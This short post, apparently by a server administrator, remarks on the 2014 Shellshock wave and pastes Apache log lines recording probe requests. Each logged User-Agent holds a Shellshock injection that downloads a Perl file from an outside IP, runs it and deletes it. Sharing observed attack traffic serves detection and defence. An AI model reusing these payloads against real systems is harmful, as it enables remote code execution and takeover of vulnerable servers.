every man and his dog wants to get in on this #shellshock mess. grep "}" /var/log/apache2/ssl_access.log 127.0.0.1 - - [26/Sep/2014:11:20:43 +0000] "GET /test HTTP/1.0" 404 5067 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" 127.0.0.1 - - [26/Sep/2014:11:20:43 +0000] "GET /cgi-bin/test.sh HTTP/1.0" 404 5067 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" 127.0.0.1 - - [26/Sep/2014:11:20:43 +0000] "GET /cgi-bin/php HTTP/1.0" 404 5067 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" 127.0.0.1 - - [26/Sep/2014:11:20:43 +0000] "GET /cgi-bin/php5 HTTP/1.0" 404 5067 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" 127.0.0.1 - - [26/Sep/2014:11:20:43 +0000] "GET /cgi-bin/info.sh HTTP/1.0" 404 5067 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" 127.0.0.1 - - [26/Sep/2014:11:20:43 +0000] "GET /cgi-bin/test.sh HTTP/1.0" 404 5067 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""